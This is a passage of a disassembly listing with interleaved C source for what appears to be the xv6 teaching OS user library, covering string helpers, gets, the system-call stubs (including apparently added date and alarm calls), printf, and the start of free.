55: 90 nop
56: 90 nop
57: 90 nop
58: 90 nop
59: 90 nop
5a: 90 nop
5b: 90 nop
5c: 90 nop
5d: 90 nop
5e: 90 nop
5f: 90 nop
00000060 <strcmp>:
int
strcmp(const char *p, const char *q)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 4d 08 mov 0x8(%ebp),%ecx
67: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
6a: 0f b6 01 movzbl (%ecx),%eax
6d: 84 c0 test %al,%al
6f: 75 14 jne 85 <strcmp+0x25>
71: eb 25 jmp 98 <strcmp+0x38>
73: 90 nop
74: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p++, q++;
78: 83 c1 01 add $0x1,%ecx
7b: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
7e: 0f b6 01 movzbl (%ecx),%eax
81: 84 c0 test %al,%al
83: 74 13 je 98 <strcmp+0x38>
85: 0f b6 1a movzbl (%edx),%ebx
88: 38 d8 cmp %bl,%al
8a: 74 ec je 78 <strcmp+0x18>
8c: 0f b6 db movzbl %bl,%ebx
8f: 0f b6 c0 movzbl %al,%eax
92: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
94: 5b pop %ebx
95: 5d pop %ebp
96: c3 ret
97: 90 nop
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
98: 0f b6 1a movzbl (%edx),%ebx
9b: 31 c0 xor %eax,%eax
9d: 0f b6 db movzbl %bl,%ebx
a0: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
a2: 5b pop %ebx
a3: 5d pop %ebp
a4: c3 ret
a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000b0 <strlen>:
uint
strlen(char *s)
{
b0: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
b1: 31 d2 xor %edx,%edx
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
b3: 89 e5 mov %esp,%ebp
int n;
for(n = 0; s[n]; n++)
b5: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
b7: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
ba: 80 39 00 cmpb $0x0,(%ecx)
bd: 74 0c je cb <strlen+0x1b>
bf: 90 nop
c0: 83 c2 01 add $0x1,%edx
c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
c7: 89 d0 mov %edx,%eax
c9: 75 f5 jne c0 <strlen+0x10>
;
return n;
}
cb: 5d pop %ebp
cc: c3 ret
cd: 8d 76 00 lea 0x0(%esi),%esi
000000d0 <memset>:
void*
memset(void *dst, int c, uint n)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 8b 55 08 mov 0x8(%ebp),%edx
d6: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
d7: 8b 4d 10 mov 0x10(%ebp),%ecx
da: 8b 45 0c mov 0xc(%ebp),%eax
dd: 89 d7 mov %edx,%edi
df: fc cld
e0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
e2: 89 d0 mov %edx,%eax
e4: 5f pop %edi
e5: 5d pop %ebp
e6: c3 ret
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000f0 <strchr>:
char*
strchr(const char *s, char c)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 8b 45 08 mov 0x8(%ebp),%eax
f6: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
fa: 0f b6 10 movzbl (%eax),%edx
fd: 84 d2 test %dl,%dl
ff: 75 11 jne 112 <strchr+0x22>
101: eb 15 jmp 118 <strchr+0x28>
103: 90 nop
104: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
108: 83 c0 01 add $0x1,%eax
10b: 0f b6 10 movzbl (%eax),%edx
10e: 84 d2 test %dl,%dl
110: 74 06 je 118 <strchr+0x28>
if(*s == c)
112: 38 ca cmp %cl,%dl
114: 75 f2 jne 108 <strchr+0x18>
return (char*)s;
return 0;
}
116: 5d pop %ebp
117: c3 ret
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
118: 31 c0 xor %eax,%eax
if(*s == c)
return (char*)s;
return 0;
}
11a: 5d pop %ebp
11b: 90 nop
11c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
120: c3 ret
121: eb 0d jmp 130 <atoi>
123: 90 nop
124: 90 nop
125: 90 nop
126: 90 nop
127: 90 nop
128: 90 nop
129: 90 nop
12a: 90 nop
12b: 90 nop
12c: 90 nop
12d: 90 nop
12e: 90 nop
12f: 90 nop
00000130 <atoi>:
return r;
}
int
atoi(const char *s)
{
130: 55 push %ebp
int n;
n = 0;
while('0' <= *s && *s <= '9')
131: 31 c0 xor %eax,%eax
return r;
}
int
atoi(const char *s)
{
133: 89 e5 mov %esp,%ebp
135: 8b 4d 08 mov 0x8(%ebp),%ecx
138: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
139: 0f b6 11 movzbl (%ecx),%edx
13c: 8d 5a d0 lea -0x30(%edx),%ebx
13f: 80 fb 09 cmp $0x9,%bl
142: 77 1c ja 160 <atoi+0x30>
144: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = n*10 + *s++ - '0';
148: 0f be d2 movsbl %dl,%edx
14b: 83 c1 01 add $0x1,%ecx
14e: 8d 04 80 lea (%eax,%eax,4),%eax
151: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
155: 0f b6 11 movzbl (%ecx),%edx
158: 8d 5a d0 lea -0x30(%edx),%ebx
15b: 80 fb 09 cmp $0x9,%bl
15e: 76 e8 jbe 148 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 56 push %esi
174: 8b 45 08 mov 0x8(%ebp),%eax
177: 53 push %ebx
178: 8b 5d 10 mov 0x10(%ebp),%ebx
17b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
17e: 85 db test %ebx,%ebx
180: 7e 14 jle 196 <memmove+0x26>
n = n*10 + *s++ - '0';
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
182: 31 d2 xor %edx,%edx
184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
*dst++ = *src++;
188: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
18c: 88 0c 10 mov %cl,(%eax,%edx,1)
18f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
192: 39 da cmp %ebx,%edx
194: 75 f2 jne 188 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
196: 5b pop %ebx
197: 5e pop %esi
198: 5d pop %ebp
199: c3 ret
19a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000001a0 <stat>:
return buf;
}
int
stat(char *n, struct stat *st)
{
1a0: 55 push %ebp
1a1: 89 e5 mov %esp,%ebp
1a3: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1a6: 8b 45 08 mov 0x8(%ebp),%eax
return buf;
}
int
stat(char *n, struct stat *st)
{
1a9: 89 5d f8 mov %ebx,-0x8(%ebp)
1ac: 89 75 fc mov %esi,-0x4(%ebp)
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
1af: be ff ff ff ff mov $0xffffffff,%esi
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
1b4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1bb: 00
1bc: 89 04 24 mov %eax,(%esp)
1bf: e8 d1 00 00 00 call 295 <open>
if(fd < 0)
1c4: 85 c0 test %eax,%eax
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
1c6: 89 c3 mov %eax,%ebx
if(fd < 0)
1c8: 78 19 js 1e3 <stat+0x43>
return -1;
r = fstat(fd, st);
1ca: 8b 45 0c mov 0xc(%ebp),%eax
1cd: 89 1c 24 mov %ebx,(%esp)
1d0: 89 44 24 04 mov %eax,0x4(%esp)
1d4: e8 d4 00 00 00 call 2ad <fstat>
close(fd);
1d9: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
1dc: 89 c6 mov %eax,%esi
close(fd);
1de: e8 9a 00 00 00 call 27d <close>
return r;
}
1e3: 89 f0 mov %esi,%eax
1e5: 8b 5d f8 mov -0x8(%ebp),%ebx
1e8: 8b 75 fc mov -0x4(%ebp),%esi
1eb: 89 ec mov %ebp,%esp
1ed: 5d pop %ebp
1ee: c3 ret
1ef: 90 nop
000001f0 <gets>:
return 0;
}
char*
gets(char *buf, int max)
{
1f0: 55 push %ebp
1f1: 89 e5 mov %esp,%ebp
1f3: 57 push %edi
1f4: 56 push %esi
1f5: 31 f6 xor %esi,%esi
1f7: 53 push %ebx
1f8: 83 ec 2c sub $0x2c,%esp
1fb: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
1fe: eb 06 jmp 206 <gets+0x16>
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
200: 3c 0a cmp $0xa,%al
202: 74 39 je 23d <gets+0x4d>
204: 89 de mov %ebx,%esi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
206: 8d 5e 01 lea 0x1(%esi),%ebx
209: 3b 5d 0c cmp 0xc(%ebp),%ebx
20c: 7d 31 jge 23f <gets+0x4f>
cc = read(0, &c, 1);
20e: 8d 45 e7 lea -0x19(%ebp),%eax
211: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
218: 00
219: 89 44 24 04 mov %eax,0x4(%esp)
21d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
224: e8 44 00 00 00 call 26d <read>
if(cc < 1)
229: 85 c0 test %eax,%eax
22b: 7e 12 jle 23f <gets+0x4f>
break;
buf[i++] = c;
22d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
231: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1)
if(c == '\n' || c == '\r')
235: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
239: 3c 0d cmp $0xd,%al
23b: 75 c3 jne 200 <gets+0x10>
23d: 89 de mov %ebx,%esi
break;
}
buf[i] = '\0';
23f: c6 04 37 00 movb $0x0,(%edi,%esi,1)
return buf;
}
243: 89 f8 mov %edi,%eax
245: 83 c4 2c add $0x2c,%esp
248: 5b pop %ebx
249: 5e pop %esi
24a: 5f pop %edi
24b: 5d pop %ebp
24c: c3 ret
0000024d <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
24d: b8 01 00 00 00 mov $0x1,%eax
252: cd 40 int $0x40
254: c3 ret
00000255 <exit>:
SYSCALL(exit)
255: b8 02 00 00 00 mov $0x2,%eax
25a: cd 40 int $0x40
25c: c3 ret
0000025d <wait>:
SYSCALL(wait)
25d: b8 03 00 00 00 mov $0x3,%eax
262: cd 40 int $0x40
264: c3 ret
00000265 <pipe>:
SYSCALL(pipe)
265: b8 04 00 00 00 mov $0x4,%eax
26a: cd 40 int $0x40
26c: c3 ret
0000026d <read>:
SYSCALL(read)
26d: b8 05 00 00 00 mov $0x5,%eax
272: cd 40 int $0x40
274: c3 ret
00000275 <write>:
SYSCALL(write)
275: b8 10 00 00 00 mov $0x10,%eax
27a: cd 40 int $0x40
27c: c3 ret
0000027d <close>:
SYSCALL(close)
27d: b8 15 00 00 00 mov $0x15,%eax
282: cd 40 int $0x40
284: c3 ret
00000285 <kill>:
SYSCALL(kill)
285: b8 06 00 00 00 mov $0x6,%eax
28a: cd 40 int $0x40
28c: c3 ret
0000028d <exec>:
SYSCALL(exec)
28d: b8 07 00 00 00 mov $0x7,%eax
292: cd 40 int $0x40
294: c3 ret
00000295 <open>:
SYSCALL(open)
295: b8 0f 00 00 00 mov $0xf,%eax
29a: cd 40 int $0x40
29c: c3 ret
0000029d <mknod>:
SYSCALL(mknod)
29d: b8 11 00 00 00 mov $0x11,%eax
2a2: cd 40 int $0x40
2a4: c3 ret
000002a5 <unlink>:
SYSCALL(unlink)
2a5: b8 12 00 00 00 mov $0x12,%eax
2aa: cd 40 int $0x40
2ac: c3 ret
000002ad <fstat>:
SYSCALL(fstat)
2ad: b8 08 00 00 00 mov $0x8,%eax
2b2: cd 40 int $0x40
2b4: c3 ret
000002b5 <link>:
SYSCALL(link)
2b5: b8 13 00 00 00 mov $0x13,%eax
2ba: cd 40 int $0x40
2bc: c3 ret
000002bd <mkdir>:
SYSCALL(mkdir)
2bd: b8 14 00 00 00 mov $0x14,%eax
2c2: cd 40 int $0x40
2c4: c3 ret
000002c5 <chdir>:
SYSCALL(chdir)
2c5: b8 09 00 00 00 mov $0x9,%eax
2ca: cd 40 int $0x40
2cc: c3 ret
000002cd <dup>:
SYSCALL(dup)
2cd: b8 0a 00 00 00 mov $0xa,%eax
2d2: cd 40 int $0x40
2d4: c3 ret
000002d5 <getpid>:
SYSCALL(getpid)
2d5: b8 0b 00 00 00 mov $0xb,%eax
2da: cd 40 int $0x40
2dc: c3 ret
000002dd <sbrk>:
SYSCALL(sbrk)
2dd: b8 0c 00 00 00 mov $0xc,%eax
2e2: cd 40 int $0x40
2e4: c3 ret
000002e5 <sleep>:
SYSCALL(sleep)
2e5: b8 0d 00 00 00 mov $0xd,%eax
2ea: cd 40 int $0x40
2ec: c3 ret
000002ed <uptime>:
SYSCALL(uptime)
2ed: b8 0e 00 00 00 mov $0xe,%eax
2f2: cd 40 int $0x40
2f4: c3 ret
000002f5 <date>:
SYSCALL(date)
2f5: b8 16 00 00 00 mov $0x16,%eax
2fa: cd 40 int $0x40
2fc: c3 ret
000002fd <alarm>:
SYSCALL(alarm)
2fd: b8 17 00 00 00 mov $0x17,%eax
302: cd 40 int $0x40
304: c3 ret
305: 66 90 xchg %ax,%ax
307: 66 90 xchg %ax,%ax
309: 66 90 xchg %ax,%ax
30b: 66 90 xchg %ax,%ax
30d: 66 90 xchg %ax,%ax
30f: 90 nop
00000310 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
310: 55 push %ebp
311: 89 e5 mov %esp,%ebp
313: 57 push %edi
314: 89 cf mov %ecx,%edi
316: 56 push %esi
317: 89 c6 mov %eax,%esi
319: 53 push %ebx
31a: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
31d: 8b 4d 08 mov 0x8(%ebp),%ecx
320: 85 c9 test %ecx,%ecx
322: 74 04 je 328 <printint+0x18>
324: 85 d2 test %edx,%edx
326: 78 70 js 398 <printint+0x88>
neg = 1;
x = -xx;
} else {
x = xx;
328: 89 d0 mov %edx,%eax
32a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
331: 31 c9 xor %ecx,%ecx
333: 8d 5d d7 lea -0x29(%ebp),%ebx
336: 66 90 xchg %ax,%ax
}
i = 0;
do{
buf[i++] = digits[x % base];
338: 31 d2 xor %edx,%edx
33a: f7 f7 div %edi
33c: 0f b6 92 2d 07 00 00 movzbl 0x72d(%edx),%edx
343: 88 14 0b mov %dl,(%ebx,%ecx,1)
346: 83 c1 01 add $0x1,%ecx
}while((x /= base) != 0);
349: 85 c0 test %eax,%eax
34b: 75 eb jne 338 <printint+0x28>
if(neg)
34d: 8b 45 c4 mov -0x3c(%ebp),%eax
350: 85 c0 test %eax,%eax
352: 74 08 je 35c <printint+0x4c>
buf[i++] = '-';
354: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1)
359: 83 c1 01 add $0x1,%ecx
while(--i >= 0)
35c: 8d 79 ff lea -0x1(%ecx),%edi
35f: 01 fb add %edi,%ebx
361: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
368: 0f b6 03 movzbl (%ebx),%eax
36b: 83 ef 01 sub $0x1,%edi
36e: 83 eb 01 sub $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
371: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
378: 00
379: 89 34 24 mov %esi,(%esp)
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
37c: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
37f: 8d 45 e7 lea -0x19(%ebp),%eax
382: 89 44 24 04 mov %eax,0x4(%esp)
386: e8 ea fe ff ff call 275 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
38b: 83 ff ff cmp $0xffffffff,%edi
38e: 75 d8 jne 368 <printint+0x58>
putc(fd, buf[i]);
}
390: 83 c4 4c add $0x4c,%esp
393: 5b pop %ebx
394: 5e pop %esi
395: 5f pop %edi
396: 5d pop %ebp
397: c3 ret
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
398: 89 d0 mov %edx,%eax
39a: f7 d8 neg %eax
39c: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
3a3: eb 8c jmp 331 <printint+0x21>
3a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003b0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 57 push %edi
3b4: 56 push %esi
3b5: 53 push %ebx
3b6: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3b9: 8b 45 0c mov 0xc(%ebp),%eax
3bc: 0f b6 10 movzbl (%eax),%edx
3bf: 84 d2 test %dl,%dl
3c1: 0f 84 c9 00 00 00 je 490 <printf+0xe0>
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
3c7: 8d 4d 10 lea 0x10(%ebp),%ecx
3ca: 31 ff xor %edi,%edi
3cc: 89 4d d4 mov %ecx,-0x2c(%ebp)
3cf: 31 db xor %ebx,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
3d1: 8d 75 e7 lea -0x19(%ebp),%esi
3d4: eb 1e jmp 3f4 <printf+0x44>
3d6: 66 90 xchg %ax,%ax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
3d8: 83 fa 25 cmp $0x25,%edx
3db: 0f 85 b7 00 00 00 jne 498 <printf+0xe8>
3e1: 66 bf 25 00 mov $0x25,%di
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3e5: 83 c3 01 add $0x1,%ebx
3e8: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
3ec: 84 d2 test %dl,%dl
3ee: 0f 84 9c 00 00 00 je 490 <printf+0xe0>
c = fmt[i] & 0xff;
if(state == 0){
3f4: 85 ff test %edi,%edi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
3f6: 0f b6 d2 movzbl %dl,%edx
if(state == 0){
3f9: 74 dd je 3d8 <printf+0x28>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
3fb: 83 ff 25 cmp $0x25,%edi
3fe: 75 e5 jne 3e5 <printf+0x35>
if(c == 'd'){
400: 83 fa 64 cmp $0x64,%edx
403: 0f 84 47 01 00 00 je 550 <printf+0x1a0>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
409: 83 fa 70 cmp $0x70,%edx
40c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
410: 0f 84 aa 00 00 00 je 4c0 <printf+0x110>
416: 83 fa 78 cmp $0x78,%edx
419: 0f 84 a1 00 00 00 je 4c0 <printf+0x110>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
41f: 83 fa 73 cmp $0x73,%edx
422: 0f 84 c0 00 00 00 je 4e8 <printf+0x138>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
428: 83 fa 63 cmp $0x63,%edx
42b: 90 nop
42c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
430: 0f 84 42 01 00 00 je 578 <printf+0x1c8>
putc(fd, *ap);
ap++;
} else if(c == '%'){
436: 83 fa 25 cmp $0x25,%edx
439: 0f 84 01 01 00 00 je 540 <printf+0x190>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
43f: 8b 4d 08 mov 0x8(%ebp),%ecx
442: 89 55 cc mov %edx,-0x34(%ebp)
445: c6 45 e7 25 movb $0x25,-0x19(%ebp)
449: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
450: 00
451: 89 74 24 04 mov %esi,0x4(%esp)
455: 89 0c 24 mov %ecx,(%esp)
458: e8 18 fe ff ff call 275 <write>
45d: 8b 55 cc mov -0x34(%ebp),%edx
460: 88 55 e7 mov %dl,-0x19(%ebp)
463: 8b 45 08 mov 0x8(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
466: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
469: 31 ff xor %edi,%edi
46b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
472: 00
473: 89 74 24 04 mov %esi,0x4(%esp)
477: 89 04 24 mov %eax,(%esp)
47a: e8 f6 fd ff ff call 275 <write>
47f: 8b 45 0c mov 0xc(%ebp),%eax
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
482: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
486: 84 d2 test %dl,%dl
488: 0f 85 66 ff ff ff jne 3f4 <printf+0x44>
48e: 66 90 xchg %ax,%ax
putc(fd, c);
}
state = 0;
}
}
}
490: 83 c4 3c add $0x3c,%esp
493: 5b pop %ebx
494: 5e pop %esi
495: 5f pop %edi
496: 5d pop %ebp
497: c3 ret
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
498: 8b 45 08 mov 0x8(%ebp),%eax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
49b: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
49e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
4a5: 00
4a6: 89 74 24 04 mov %esi,0x4(%esp)
4aa: 89 04 24 mov %eax,(%esp)
4ad: e8 c3 fd ff ff call 275 <write>
4b2: 8b 45 0c mov 0xc(%ebp),%eax
4b5: e9 2b ff ff ff jmp 3e5 <printf+0x35>
4ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4c0: 8b 45 d4 mov -0x2c(%ebp),%eax
4c3: b9 10 00 00 00 mov $0x10,%ecx
ap++;
4c8: 31 ff xor %edi,%edi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
4ca: c7 04 24 00 00 00 00 movl $0x0,(%esp)
4d1: 8b 10 mov (%eax),%edx
4d3: 8b 45 08 mov 0x8(%ebp),%eax
4d6: e8 35 fe ff ff call 310 <printint>
4db: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
4de: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
4e2: e9 fe fe ff ff jmp 3e5 <printf+0x35>
4e7: 90 nop
} else if(c == 's'){
s = (char*)*ap;
4e8: 8b 55 d4 mov -0x2c(%ebp),%edx
ap++;
if(s == 0)
4eb: b9 26 07 00 00 mov $0x726,%ecx
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
s = (char*)*ap;
4f0: 8b 3a mov (%edx),%edi
ap++;
4f2: 83 c2 04 add $0x4,%edx
4f5: 89 55 d4 mov %edx,-0x2c(%ebp)
if(s == 0)
4f8: 85 ff test %edi,%edi
4fa: 0f 44 f9 cmove %ecx,%edi
s = "(null)";
while(*s != 0){
4fd: 0f b6 17 movzbl (%edi),%edx
500: 84 d2 test %dl,%dl
502: 74 33 je 537 <printf+0x187>
504: 89 5d d0 mov %ebx,-0x30(%ebp)
507: 8b 5d 08 mov 0x8(%ebp),%ebx
50a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
putc(fd, *s);
s++;
510: 83 c7 01 add $0x1,%edi
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
513: 88 55 e7 mov %dl,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
516: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
51d: 00
51e: 89 74 24 04 mov %esi,0x4(%esp)
522: 89 1c 24 mov %ebx,(%esp)
525: e8 4b fd ff ff call 275 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
52a: 0f b6 17 movzbl (%edi),%edx
52d: 84 d2 test %dl,%dl
52f: 75 df jne 510 <printf+0x160>
531: 8b 5d d0 mov -0x30(%ebp),%ebx
534: 8b 45 0c mov 0xc(%ebp),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
537: 31 ff xor %edi,%edi
539: e9 a7 fe ff ff jmp 3e5 <printf+0x35>
53e: 66 90 xchg %ax,%ax
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
} else if(c == '%'){
540: c6 45 e7 25 movb $0x25,-0x19(%ebp)
544: e9 1a ff ff ff jmp 463 <printf+0xb3>
549: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
550: 8b 45 d4 mov -0x2c(%ebp),%eax
553: b9 0a 00 00 00 mov $0xa,%ecx
ap++;
558: 66 31 ff xor %di,%di
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
55b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
562: 8b 10 mov (%eax),%edx
564: 8b 45 08 mov 0x8(%ebp),%eax
567: e8 a4 fd ff ff call 310 <printint>
56c: 8b 45 0c mov 0xc(%ebp),%eax
ap++;
56f: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
573: e9 6d fe ff ff jmp 3e5 <printf+0x35>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
578: 8b 55 d4 mov -0x2c(%ebp),%edx
putc(fd, *ap);
ap++;
57b: 31 ff xor %edi,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
57d: 8b 4d 08 mov 0x8(%ebp),%ecx
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
580: 8b 02 mov (%edx),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
582: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
589: 00
58a: 89 74 24 04 mov %esi,0x4(%esp)
58e: 89 0c 24 mov %ecx,(%esp)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
591: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
594: e8 dc fc ff ff call 275 <write>
599: 8b 45 0c mov 0xc(%ebp),%eax
putc(fd, *s);
s++;
}
} else if(c == 'c'){
putc(fd, *ap);
ap++;
59c: 83 45 d4 04 addl $0x4,-0x2c(%ebp)
5a0: e9 40 fe ff ff jmp 3e5 <printf+0x35>
5a5: 66 90 xchg %ax,%ax
5a7: 66 90 xchg %ax,%ax
5a9: 66 90 xchg %ax,%ax
5ab: 66 90 xchg %ax,%ax
5ad: 66 90 xchg %ax,%ax
5af: 90 nop
000005b0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5b0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
